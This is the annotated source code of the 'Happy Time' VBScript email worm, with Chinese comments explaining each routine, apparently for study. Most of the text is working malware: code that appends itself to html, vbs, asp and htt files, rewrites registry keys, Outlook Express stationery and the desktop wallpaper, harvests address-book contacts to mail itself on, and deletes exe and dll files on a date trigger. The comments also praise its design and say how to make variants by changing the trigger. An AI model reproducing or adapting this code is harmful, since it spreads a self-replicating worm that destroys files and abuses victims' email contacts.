*************** 歡樂時光 *************** Rem I am sorry! happy time On Error Resume Next Mload '以上為病毒入口,并加上I am sorry! happy time的注釋,以表明此文件已被感染過。
Sub mload() On Error Resume Next mPath = Grf() Set Os = CreateObject("Scriptlet.TypeLib") Set Oh = CreateObject("Shell.Application") '建立枚舉對象,避開了安全審核 If IsHTML Then '調用IsHtml函數,如果是Html,就小寫…… mURL = LCase(document.Location) If mPath = "" Then Os.Reset Os.Path = "C:\Help.htm" Os.Doc = Lhtml() Os.Write() '如果mPath為空,就在C盤下生成Help.htm Ihtml = "" '超文本的內容,并指向C:\Help.Htm Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml) Else If Iv(mPath, "Help.vbs") Then setInterval "Rt()", 10000 Else m = "hta" If LCase(m) = Right(mURL, Len(m)) Then id = setTimeout("mclose()", 1) '設置超時條件 main Else Os.Reset() Os.Path = mPath & "\" & "Help.hta" Os.Doc = Lhtml() Os.write() Iv mPath, "Help.hta" '生成Help.hta End If End If End If Else Main '都不是,就執行main函數 End If End Sub
'****************************************************************** '以下為主函數,太長了! Sub main() On Error Resume Next Set Of = CreateObject("Scripting.FileSystemObject") '不用說,創建FileSystemObject對象啦 Set Od = CreateObject("Scripting.Dictionary") '創建Dictionary對象, 用來保存數據鍵和項目對,它實際上是一個比較開放的數組 Od.Add "html", "1100" Od.Add "vbs", "0100" Od.Add "htm", "1100" Od.Add "asp", "0010" '向Dictionary對象添加要感染的項目對 Ks = "HKEY_CURRENT_USER\Software\" '使用變量以減少代碼長度 Ds = Grf() Cs = Gsf() If IsVbs Then '如果是VBS If Of.FileExists("C:\help.htm") Then Of.DeleteFile ("C:\help.htm") '如果c:\help.htm存在,就刪掉,消滅遺留的痕跡 End If Key = CInt(Month(Date) + Day(Date)) If Key = 13 Then '如果月與日之和為13(這也是它變種多的原因——將13改為其他數字即可) Od.RemoveAll Od.Add "exe", "0001" Od.Add "dll", "0001" '就清空Dictionary數組,并將exe、dll加入Dictionary 對象,以備刪除之用 End If Cn = Rg(Ks & "Help\Count") '讀注冊表中的HKEY_CURRENT_USER\Software\Help\Count鍵值 If Cn = "" Then Cn = 1 '如果Count為0,就設為1 End If Rw Ks & "Help\Count", Cn + 1 '添加HKEY_CURRENT_USER\Software\Help\Count鍵值,值為2 f1 = Rg(Ks & "Help\FileName") '再讀HKEY_CURRENT_USER\Software\Help\FileName鍵值 f2 = FNext(Of, Od, f1) '得到該文件的文件名 fext = GetExt(Of, Od, f2) '得到該文件擴展名的代號 Rw Ks & "Help\FileName", f2 '添加鍵值 If IsDel(fext) Then '如果擴展名代號的第四個字符為1——即0001(exe、dll) f3 = f2 '儲存文件名 f2 = FNext(Of, Od, f2) '得到文件的文件名? Rw Ks & "Help\FileName", f2 '寫注冊表 Of.DeleteFile f3 '刪除文件 Else If LCase(WScript.ScriptFullname) <> LCase(f2) Then '如果不是集合中的文件 Fw Of, f2, fext End If End If If (CInt(Cn) Mod 366) = 0 Then If (CInt(Second(Time)) Mod 2) = 0 Then '使用 Cint函數強制執行轉換,并發郵件 Tsend Else adds = Og Msend (adds) End If End If wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper") If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then '比較桌面墻紙是否已改變 If wp = "" Then n1 = "" n3 = Cs & "\Help.htm" Else mP = Of.GetFile(wp).ParentFolder n1 = Of.GetFileName(wp) n2 = Of.GetBaseName(wp) n3 = Cs & "\" & n2 & ".htm" End If Set pfc = Of.CreateTextFile(n3, True) mt = Sa("1100") '創建超文本 pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'>< " & "/Body><" & "/HTML>" & mt '超文本的內容 pfc.Close Rw Ks & "Help\wallPaper", n3 Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3 '將帶毒的超文本設置成活動桌面 End If Else Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True) fc.Write Sa("0100") '創建vbs文件 fc.Close bf = Cs & "\Untitled.htm" Set fc2 = Of.CreateTextFile(bf, True) fc2.Write Lhtml fc2.Close '創建windows下的untitled.htm oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID") oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook E xpress\5.0\Mail" MSH = oe & "\Message Send HTML" CUS = oe & "\Compose Use Stationery" SN = oe & "\Stationery Name" Rw MSH, 1 Rw CUS, 1 Rw SN, bf '在Hkey_Current_User\Identities\{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}\Software\Microsoft\Outlook Express\5.0\Mail下添加三個鍵值Message Send HTML 、Compose Use Stationery 和Stationery Name,前兩個的值為1,后一個指向windows\untitled.htm Web = Cs & "\WEB" Set gf = Of.GetFolder(Web).Files '得到windows\web文件夾里的文件 Od.Add "htt", "1100" '向Dictionary里添加htt項目對 For Each m In gf '遍歷windows\web下的每一個文件 fext = GetExt(Of, Od, m) '得到每個文件的擴展名 If fext <> "" Then '如果擴展名不為空,則 Fw Of, m, fext End If Next End If End Sub
'****************************************************************** Sub mclose() document.Write "<" & "title>I am sorry!'寫入I am sorry,并關閉。以此作為感染與否的標記 window.Close End Sub
'****************************************************************** Sub Fw(Of, S, n) '此時S為文件名,n為文件擴展名 Dim fc, fc2, m, mmail, mt On Error Resume Next Set fc = Of.OpenTextFile(S, 1) '只讀模式打開該文件 mt = fc.ReadAll '讀入全部文件流 fc.Close '關閉文件 If Not Sc(mt) Then '如果未感染過 mmail = Ml(mt) mt = Sa(n) Set fc2 = Of.OpenTextFile(S, 8) '打開文件并在文件末尾進行寫操作 fc2.Write mt fc2.Close Msend (mmail) '發帶毒郵件 End If End Sub
'****************************************************************** Function Sc(S) mN = "Rem I am sorry! happy time" If InStr(S, mN) > 0 Then '如果讀入的文件流中有Rem I am sorry! happy time Sc = True Else Sc = False '表示已感染過,返回True,否則為False End If End Function
'****************************************************************** Function FNext(Of, Od, S) Dim fpath, fname, fext, T, gf On Error Resume Next fname = "" T = False '初始化變量 If Of.FileExists(S) Then '如果S存在于當前文件夾中 fpath = Of.GetFile(S).ParentFolder '得到文件的父目錄名 fname = S '得到文件名 ElseIf Of.FolderExists(S) Then '不存在于當前文件夾中,則得到目錄名 fpath = S T = True Else fpath = Dnext(Of, "") '得到當前盤符——即根目錄 End If Do While True Set gf = Of.GetFolder(fpath).Files '得到當前目錄下的所有文件對象 For Each m In gf '遍歷每個文件 If T Then If GetExt(Of, Od, m) <> "" Then '如果該文件是文件集合中的一員 FNext = m '則返回該文件名,供調用的函數或過程使用——感染或刪除之 Exit Function End If ElseIf LCase(m) = LCase(fname) Or fname = "" Then '如果沒文件 T = True End If Next fpath = Pnext(Of, fpath) ' Loop End Function
'****************************************************************** Function Pnext(Of, S) On Error Resume Next Dim Ppath, Npath, gp, pn, T, m T = False If Of.FolderExists(S) Then '如果如果指定的文件夾存在 Set gp = Of.GetFolder(S).SubFolders '就得到子目錄數 pn = gp.Count If pn = 0 Then '如果沒子目錄 Ppath = LCase(S) ' Npath = LCase(Of.GetParentFolderName(S)) '得到父目錄的小寫形式 T = True Else Npath = LCase(S) '有子目錄,得到其小寫形式的集合 End If Do While Not Er ' For Each pn In Of.GetFolder(Npath).SubFolders '得到子目錄下的子目錄 If T Then If Ppath = LCase(pn) Then T = False End If Else Pnext = LCase(pn) Exit Function End If Next T = True Ppath = LCase(Npath) '將字符串轉化成小寫 Npath = Of.GetParentFolderName(Npath) ' If Of.GetFolder(Ppath).IsRootFolder Then '如果是根目錄 m = Of.GetDriveName(Ppath) '就得到分區符 Pnext = Dnext(Of, m) Exit Function End If Loop End If End Function
'****************************************************************** Function Dnext(Of, S) Dim dc, n, d, T, m On Error Resume Next T = False m = "" Set dc = Of.Drives '得到所有的驅動器盤符 For Each d In dc '遍歷每個驅動器 If d.DriveType = 2 Or d.DriveType = 3 Then '如果是網絡盤或本地盤 If T Then Dnext = d Exit Function '如果是False,就返回當前盤,并退出本函數 Else If LCase(S) = LCase(d) Then '如果是True且盤符相同,就令T為True T = True End If If m = "" Then '如果m為空,就將盤符付給m m = d End If End If End If Next Dnext = m '返回盤符 End Function
'****************************************************************** Function GetExt(Of, Od, S) Dim fext On Error Resume Next fext = LCase(Of.GetExtensionName(S)) '返回該文件擴展名的小寫 GetExt = Od.Item(fext) '返回Dictionary對象中指定的key對應的item——即0001(exe)等 End Function
'****************************************************************** Sub Rw(k, v) '寫注冊表 Dim R On Error Resume Next Set R = CreateObject("WScript.Shell") '創建對象 R.RegWrite k, v End Sub
'****************************************************************** Function Rg(v) '讀注冊表 Dim R On Error Resume Next Set R = CreateObject("WScript.Shell") '創建對象 Rg = R.RegRead(v) End Function
'****************************************************************** Function IsVbs() '此函數判斷是不是VBS文件 Dim ErrTest On Error Resume Next ErrTest = WScript.ScriptFullname If Err Then '如果出錯,則不是VBS IsVbs = False Else IsVbs = True End If End Function
'****************************************************************** Function IsHTML() '此函數判斷是不是Html文件 Dim ErrTest On Error Resume Next ErrTest = document.Location If Er Then IsHTML = False '如果出錯,則不是超文本 Else IsHTML = True End If End Function
'****************************************************************** Function IsMail(S) '此函數判斷是不是郵件地址 Dim m1, m2 IsMail = False If InStr(S, vbCrLf) = 0 Then '返回vbCrLf在S中第一次出現的位置, vbCrLf是換行符 m1 = InStr(S, "@") m2 = InStr(S, ".") If m1 <> 0 And m1 < m2 Then '如果有“@”符號且“@”在“."之前,則是郵件地址 IsMail = True End If End If End Function
'****************************************************************** Function Gsf() '得到windows目錄 Dim Of, m On Error Resume Next Set Of = CreateObject("Scripting.FileSystemObject") '創建FileSystemObject對象 m = Of.GetSpecialFolder(0) '得到特殊目錄——Windows、System和Temp目錄 If Er Then '如果失敗,返回C:\ Gsf = "C:\" Else '若正常,則返回%Windows% Gsf = m End If End Function
'****************************************************************** Function Lhtml() '寫入超文本的內容,其中vbCrLf是換行符 Lhtml = "<" & "HTML" & ">"<" & "Title> Help "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _ "<" & "/Body>End Function
'****************************************************************** Function Lscript(S) '寫入vbscript的聲明 Lscript = "<" & "script language='VBScript'>" & vbCrLf & _ S & "<" & "/script" & ">" End Function
'****************************************************************** Function Sl(S1, S2, n) Dim l1, l2, l3, i l1 = Len(S1) '得到文件流的長度 l2 = Len(S2) '得到mailto:的長度 i = InStr(S1, S2) '在文件流中查找mailto:第一次出現的位置——值為一個數 If i > 0 Then '找到則進行字符串操作 l3 = i + l2 - 1 If n = 0 Then Sl = Left(S1, i - 1) ElseIf n = 1 Then Sl = Right(S1, l1 - l3) End If Else Sl = "" End If End Function
'****************************************************************** Function Og() '得到WAB(通訊簿)中的郵件地址 Dim i, n, m(), Om, Oo Set Oo = CreateObject("Outlook.Application") '創建Outlook應用程序對象,Outlook和Outlook Express都跑不掉啦! Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items n = Om.Count ReDim m(n) For i = 1 To n m(i - 1) = Om.Item(i).Email1Address 得到每個WAB中的郵件地址 Next Og = m End Function
'****************************************************************** Sub Tsend() '發帶毒郵件 Dim Od, MS, MM, a, m Set Od = CreateObject("Scripting.Dictionary") MConnect MS, MM MM.FetchSorted = True MM.Fetch For i = 0 To MM.MsgCount - 1 MM.MsgIndex = i a = MM.MsgOrigAddress If Od.Item(a) = "" Then Od.Item(a) = MM.MsgSubject End If Next For Each m In Od.Keys MM.Compose MM.MsgSubject = "Fw: " & Od.Item(m) '設置郵件標題 MM.RecipAddress = m '此郵件的當前的目標郵件地址 MM.AttachmentPathName = Gsf & "\Untitled.htm" '添加附件Windows\Untitled.htm MM.Send '發送! Next MS.SignOff End Sub
'****************************************************************** Function Er() '設置的錯誤陷阱,避免程序崩潰,嚴謹的風格值得學習 If Err.Number = 0 Then Er = False Else Err.Clear Er = True End If End Function
'****************************************************************** Function IsDel(S) '此函數查看當前文件是否是要刪除的文件類型 If Mid(S, 4, 1) = 1 Then '看S的第四個字符是否是1——即是0001(exe和dll) IsDel = True '如是,返回True,以備刪除 Else IsDel = False '如不是,返回False End If End Function '******************************************************************
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